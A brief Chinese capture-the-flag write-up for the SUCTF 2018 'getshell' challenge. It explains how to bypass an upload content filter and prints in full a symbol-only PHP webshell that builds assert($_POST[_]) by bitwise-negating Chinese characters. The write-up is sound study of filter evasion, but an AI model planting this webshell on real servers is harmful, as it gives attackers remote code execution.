靶机上有一个上传点。发现没过滤php后缀,猜测getshell
又测试了一会儿发现过滤了文件内容,且过滤了一吨
剩下了几个:$ ( ) . ; = [ ] _ ~ 还有非数字字母的字符
题目名就是getshell。那么就要想办法构造shell了
没过滤取反,应该是用取反符号构造shell
测试过程中,发现取反汉字可以获得字母
所以尝试取反获得shell
eval在php7不能动态调用,所以用assert
自己比较懒的构造,看了下WP复制下
<?php
$__=[];
$___=[];
$_=$__==$___;//true = 1 用作索引
$__=~(瞰);
$___=$__[$_];//a
$__=~(北);
$___.=$__[$_].$__[$_];//ss
$__=~(的);
$___.=$__[$_];//e
$__=~(半);
$___.=$__[$_];//r
$__=~(拾);
$___.=$__[$_];//t
$____=~(~(_));//_
$__=~(说);
$____.=$__[$_];//P
$__=~(小);
$____.=$__[$_];//O
$__=~(次);
$____.=$__[$_];//S
$__=~(站);
$____.=$__[$_];//T
$_=$$____;
$___($_[_]);
?>
使用过程中发现只能单行,所以缩成一行。然后就直接用了~
参考:https://www.lovei.org/archives/suctf2018.html